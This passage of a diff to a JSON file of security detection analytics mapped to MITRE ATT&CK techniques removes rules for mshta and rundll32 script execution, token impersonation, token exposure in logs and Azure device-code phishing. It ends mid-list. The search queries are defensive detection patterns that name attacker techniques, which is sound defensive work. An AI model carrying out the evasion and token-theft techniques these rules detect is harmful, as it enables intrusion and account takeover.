"Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Inline HTA Execution", - "description": "The following analytic detects the execution of \"rundll32.exe\" with inline protocol handlers such as \"JavaScript\", \"VBScript\", and \"About\". This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on command-line arguments. This activity is significant as it is often associated with fileless malware or application whitelisting bypass techniques. If confirmed malicious, this could allow an attacker to execute arbitrary code, bypass security controls, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` (Processes.process=*vbscript* OR Processes.process=*javascript* OR Processes.process=*about*) by Processes.user Processes.process_name Processes.parent_process_name Processes.original_file_name Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `detect_rundll32_inline_hta_execution_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "NOBELIUM Group", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious rundll32.exe inline HTA execution on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Mshta spawning Rundll32 OR Regsvr32 Process", - "description": "The following analytic detects a suspicious mshta.exe process spawning rundll32 or regsvr32 child processes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process GUID, process name, and parent process fields. This activity is significant as it is a known technique used by malware like Trickbot to load malicious DLLs and execute payloads. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or download additional malware, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = \"mshta.exe\" `process_rundll32` OR `process_regsvr32` by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `mshta_spawning_rundll32_or_regsvr32_process_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "a mshta parent process $parent_process_name$ spawn child process $process_name$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Suspicious mshta child process", - "description": "The following analytic identifies child processes spawned from \"mshta.exe\". It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific child processes like \"powershell.exe\" and \"cmd.exe\". This activity is significant because \"mshta.exe\" is often exploited by attackers to execute malicious scripts or commands. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence within the environment. Monitoring this activity helps in early detection of potential threats leveraging \"mshta.exe\" for malicious purposes.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=mshta.exe AND (Processes.process_name=powershell.exe OR Processes.process_name=colorcpl.exe OR Processes.process_name=msbuild.exe OR Processes.process_name=microsoft.workflow.compiler.exe OR Processes.process_name=searchprotocolhost.exe OR Processes.process_name=scrcons.exe OR Processes.process_name=cscript.exe OR Processes.process_name=wscript.exe OR Processes.process_name=powershell.exe OR Processes.process_name=cmd.exe) by Processes.dest Processes.parent_process Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_mshta_child_process_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "suspicious mshta child process detected on host $dest$ by user $user$.", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Suspicious mshta spawn", - "description": "The following analytic detects the spawning of mshta.exe by wmiprvse.exe or svchost.exe. This behavior is identified using Endpoint Detection and Response (EDR) data, focusing on process creation events where the parent process is either wmiprvse.exe or svchost.exe. This activity is significant as it may indicate the use of a DCOM object to execute malicious scripts via mshta.exe, a common tactic in sophisticated attacks. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to system compromise and further malicious activities.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process_name) as process_name values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wmiprvse.exe) AND `process_mshta` by Processes.dest Processes.parent_process Processes.user Processes.original_file_name| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_mshta_spawn_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "mshta.exe spawned by wmiprvse.exe on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Windows Mshta Execution In Registry", - "description": "The following analytic detects the execution of mshta.exe via registry entries to run malicious scripts. It leverages registry activity logs to identify entries containing \"mshta,\" \"javascript,\" \"vbscript,\" or \"WScript.Shell.\" This behavior is significant as it indicates potential fileless malware, such as Kovter, which uses encoded scripts in the registry to persist and execute without files. If confirmed malicious, this activity could allow attackers to maintain persistence, execute arbitrary code, and evade traditional file-based detection methods, posing a significant threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_value_data = \"*mshta*\" OR Registry.registry_value_data IN (\"*javascript:*\", \"*vbscript:*\",\"*WScript.Shell*\") by Registry.registry_key_name Registry.registry_path Registry.registry_value_data Registry.action Registry.dest Registry.user| `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_mshta_execution_in_registry_filter`", - "tags": { - "analytic_story": [ - "Suspicious Windows Registry Activities", - "Windows Persistence Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A registry $registry_path$ contains mshta $registry_value_data$ in $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Windows MSHTA Writing to World Writable Path", - "description": "The following analytic identifies instances of `mshta.exe` writing files to world-writable directories. It leverages Sysmon EventCode 11 logs to detect file write operations by `mshta.exe` to directories like `C:\\Windows\\Tasks` and `C:\\Windows\\Temp`. This activity is significant as it often indicates an attempt to establish persistence or execute malicious code, deviating from the utility's legitimate use. If confirmed malicious, this behavior could lead to the execution of multi-stage payloads, potentially resulting in full system compromise and unauthorized access to sensitive information.", - "search": "`sysmon` EventCode=11 Image=\"*\\\\mshta.exe\" TargetFilename IN (\"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\Windows\\\\Temp\\\\*\", \"*\\\\Windows\\\\tracing\\\\*\", \"*\\\\Windows\\\\PLA\\\\Reports\\\\*\", \"*\\\\Windows\\\\PLA\\\\Rules\\\\*\", \"*\\\\Windows\\\\PLA\\\\Templates\\\\*\", \"*\\\\Windows\\\\PLA\\\\Reports\\\\en-US\\\\*\", \"*\\\\Windows\\\\PLA\\\\Rules\\\\en-US\\\\*\", \"*\\\\Windows\\\\Registration\\\\CRMLog\\\\*\", \"*\\\\Windows\\\\System32\\\\Tasks\\\\*\", \"*\\\\Windows\\\\System32\\\\Com\\\\dmp\\\\*\", \"*\\\\Windows\\\\System32\\\\LogFiles\\\\WMI\\\\*\", \"*\\\\Windows\\\\System32\\\\Microsoft\\\\Crypto\\\\RSA\\\\MachineKeys\\\\*\", \"*\\\\Windows\\\\System32\\\\spool\\\\PRINTERS\\\\*\", \"*\\\\Windows\\\\System32\\\\spool\\\\SERVERS\\\\*\", \"*\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\color\\\\*\", \"*\\\\Windows\\\\System32\\\\Tasks\\\\Microsoft\\\\Windows\\\\RemoteApp and Desktop Connections Update\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Com\\\\dmp\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\Microsoft\\\\Windows\\\\PLA\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\Microsoft\\\\Windows\\\\RemoteApp and Desktop Connections Update\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\Microsoft\\\\Windows\\\\PLA\\\\System\\\\*\") | rename Computer as dest, User as user | stats count min(_time) as firstTime max(_time) as lastTime by dest, user, Image, TargetFilename | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_mshta_writing_to_world_writable_path_filter`", - "tags": { - "analytic_story": [ - "APT29 Diplomatic Deceptions with WINELOADER", - "Suspicious MSHTA Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Image", - "type": "File Name", - "role": [ - "Attacker" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An instance of $Image$ writing to $TargetFilename$ was detected on $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } - }, - { - "name": "Windows Process Writing File to World Writable Path", - "description": "The following analytic identifies a process writing a .txt file to a world writable path. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on file creation events within specific directories. This activity is significant as adversaries often use such techniques to deliver payloads to a system, which is uncommon for legitimate processes. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where Filesystem.file_name=*.txt Filesystem.file_path IN (\"*\\\\Windows\\\\Tasks\\\\*\", \"*\\\\Windows\\\\Temp\\\\*\", \"*\\\\Windows\\\\tracing\\\\*\", \"*\\\\Windows\\\\PLA\\\\Reports\\\\*\", \"*\\\\Windows\\\\PLA\\\\Rules\\\\*\", \"*\\\\Windows\\\\PLA\\\\Templates\\\\*\", \"*\\\\Windows\\\\PLA\\\\Reports\\\\en-US\\\\*\", \"*\\\\Windows\\\\PLA\\\\Rules\\\\en-US\\\\*\", \"*\\\\Windows\\\\Registration\\\\CRMLog\\\\*\", \"*\\\\Windows\\\\System32\\\\Tasks\\\\*\", \"*\\\\Windows\\\\System32\\\\Com\\\\dmp\\\\*\", \"*\\\\Windows\\\\System32\\\\LogFiles\\\\WMI\\\\*\", \"*\\\\Windows\\\\System32\\\\Microsoft\\\\Crypto\\\\RSA\\\\MachineKeys\\\\*\", \"*\\\\Windows\\\\System32\\\\spool\\\\PRINTERS\\\\*\", \"*\\\\Windows\\\\System32\\\\spool\\\\SERVERS\\\\*\", \"*\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\color\\\\*\", \"*\\\\Windows\\\\System32\\\\Tasks\\\\Microsoft\\\\Windows\\\\RemoteApp and Desktop Connections Update\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Com\\\\dmp\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\Microsoft\\\\Windows\\\\PLA\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\Microsoft\\\\Windows\\\\RemoteApp and Desktop Connections Update\\\\*\", \"*\\\\Windows\\\\SysWOW64\\\\Tasks\\\\Microsoft\\\\Windows\\\\PLA\\\\System\\\\*\") by Filesystem.dest, Filesystem.user, Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(\"Filesystem\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_writing_file_to_world_writable_path_filter`", - "tags": { - "analytic_story": [ - "APT29 Diplomatic Deceptions with WINELOADER" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "A process wrote a file name- [$file_name$] to a world writable file path [$file_path$] on host- [$dest$].", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218.005", - "mitre_attack_technique": "Mshta", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "Confucius", - "Earth Lusca", - "FIN7", - "Gamaredon Group", - "Inception", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "MuddyWater", - "Mustang Panda", - "SideCopy", - "Sidewinder", - "TA2541", - "TA551" - ] - } - ] - } } ], "external_reference": [ @@ -462365,54 +319199,7 @@ } } ], - "possible_detections": [ - { - "name": "Splunk Authentication Token Exposure in Debug Log", - "description": "The following analytic identifies exposed authentication tokens in debug logs within Splunk Enterprise. It leverages logs from the `splunkd` component with a DEBUG log level, specifically searching for event messages that validate tokens. This activity is significant because exposed tokens can be exploited by attackers to gain unauthorized access to the Splunk environment. If confirmed malicious, this exposure could lead to unauthorized data access, privilege escalation, and potential compromise of the entire Splunk infrastructure. Monitoring and addressing this vulnerability is crucial for maintaining the security and integrity of the Splunk deployment.", - "search": "`splunkd` component=JsonWebToken log_level=DEBUG eventtype=\"splunkd-log\" event_message=\"Validating token:*\" | rex \"Validating token: (?.*)\\.$\" | search token!=None | stats count min(_time) as firstTime max(_time) as lastTime values(log_level) as log_level values(event_message) as event_message by index, sourcetype, host, token | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `splunk_authentication_token_exposure_in_debug_log_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Splunk Server", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible JsonWebToken exposure, please investigate affected $host$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1654", - "mitre_attack_technique": "Log Enumeration", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT5", - "Volt Typhoon" - ] - } - ] - } - } - ], + "possible_detections": [], "external_reference": [], "controls": [], "x_mitre_network_requirements": false, @@ -462739,47 +319526,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1134.001", - "x_mitre_is_subtechnique": true, - "technique": "Token Impersonation/Theft", - "tactic": [ - "defense-evasion", - "privilege-escalation" - ], - "platform": [ - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -462788,197 +319535,44 @@ ] }, { - "name": "Runas Execution in CommandLine", - "description": "The following analytic detects the execution of the runas.exe process with administrator user options. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process details. This activity is significant as it may indicate an attempt to gain elevated privileges, a common tactic in privilege escalation and lateral movement. If confirmed malicious, this could allow an attacker to execute commands with higher privileges, potentially leading to unauthorized access, data exfiltration, or further compromise of the target host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_runas` AND Processes.process = \"*/user:*\" AND Processes.process = \"*admin*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `runas_execution_in_commandline_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "elevated process using runas on $dest$ by $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - }, - { - "mitre_attack_id": "T1134.001", - "mitre_attack_technique": "Token Impersonation/Theft", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "FIN8" - ] - } - ] - } - }, - { - "name": "Windows Access Token Manipulation Winlogon Duplicate Token Handle", - "description": "The following analytic detects a process attempting to access winlogon.exe to duplicate its handle. This is identified using Sysmon EventCode 10, focusing on processes targeting winlogon.exe with specific access rights. This activity is significant because it is a common technique used by adversaries to escalate privileges by leveraging the high privileges and security tokens associated with winlogon.exe. If confirmed malicious, this could allow an attacker to gain elevated privileges, potentially leading to full system compromise and unauthorized access to sensitive information.", - "search": "`sysmon` EventCode=10 TargetImage IN(\"*\\\\system32\\\\winlogon.exe*\", \"*\\\\SysWOW64\\\\winlogon.exe*\") GrantedAccess = 0x1040 | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage SourceProcessGUID TargetProcessGUID SourceProcessId TargetProcessId GrantedAccess CallTrace dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_access_token_manipulation_winlogon_duplicate_token_handle_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process Name", - "role": [ - "Parent Process" - ] - } - ], - "message": "A process $SourceImage$ is duplicating the handle token of winlogon.exe in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.001", - "mitre_attack_technique": "Token Impersonation/Theft", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "FIN8" - ] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } - }, - { - "name": "Windows Access Token Winlogon Duplicate Handle In Uncommon Path", - "description": "The following analytic detects a process attempting to duplicate the handle of winlogon.exe from an uncommon or public source path. This is identified using Sysmon EventCode 10, focusing on processes targeting winlogon.exe with specific access rights and excluding common system paths. This activity is significant because it may indicate an adversary trying to escalate privileges by leveraging the high-privilege tokens associated with winlogon.exe. If confirmed malicious, this could allow the attacker to gain elevated access, potentially leading to full system compromise and persistent control over the affected host.", - "search": "`sysmon` EventCode=10 TargetImage IN(\"*\\\\system32\\\\winlogon.exe*\", \"*\\\\SysWOW64\\\\winlogon.exe*\") AND GrantedAccess = 0x1040 AND NOT (SourceImage IN(\"C:\\\\Windows\\\\*\", \"C:\\\\Program File*\", \"%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Computer SourceImage TargetImage SourceProcessGUID TargetProcessGUID SourceProcessId TargetProcessId GrantedAccess CallTrace | rename Computer as dest| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_access_token_winlogon_duplicate_handle_in_uncommon_path_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process Name", - "role": [ - "Parent Process" - ] - } - ], - "message": "A process $SourceImage$ is duplicating the handle token of winlogon.exe on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1134.001", - "mitre_attack_technique": "Token Impersonation/Theft", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT28", - "FIN8" - ] - }, - { - "mitre_attack_id": "T1134", - "mitre_attack_technique": "Access Token Manipulation", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Blue Mockingbird", - "FIN6" - ] - } - ] - } + "technique_id": "T1134.001", + "x_mitre_is_subtechnique": true, + "technique": "Token Impersonation/Theft", + "tactic": [ + "defense-evasion", + "privilege-escalation" + ], + "platform": [ + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -466627,450 +323221,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-principals" ] - }, - { - "name": "Azure AD Device Code Authentication", - "description": "The following analytic identifies Azure Device Code Phishing attacks, which can lead to Azure Account Take-Over (ATO). It leverages Azure AD SignInLogs to detect suspicious authentication requests using the device code authentication protocol. This activity is significant as it indicates potential bypassing of Multi-Factor Authentication (MFA) and Conditional Access Policies (CAPs) through phishing emails. If confirmed malicious, attackers could gain unauthorized access to Azure AD, Exchange mailboxes, and Outlook Web Application (OWA), leading to potential data breaches and unauthorized data access.", - "search": "`azure_monitor_aad` category=SignInLogs \"properties.authenticationProtocol\"=deviceCode | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user src_ip, appDisplayName, userAgent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_device_code_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Device code requested for $user$ from $src_ip$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - 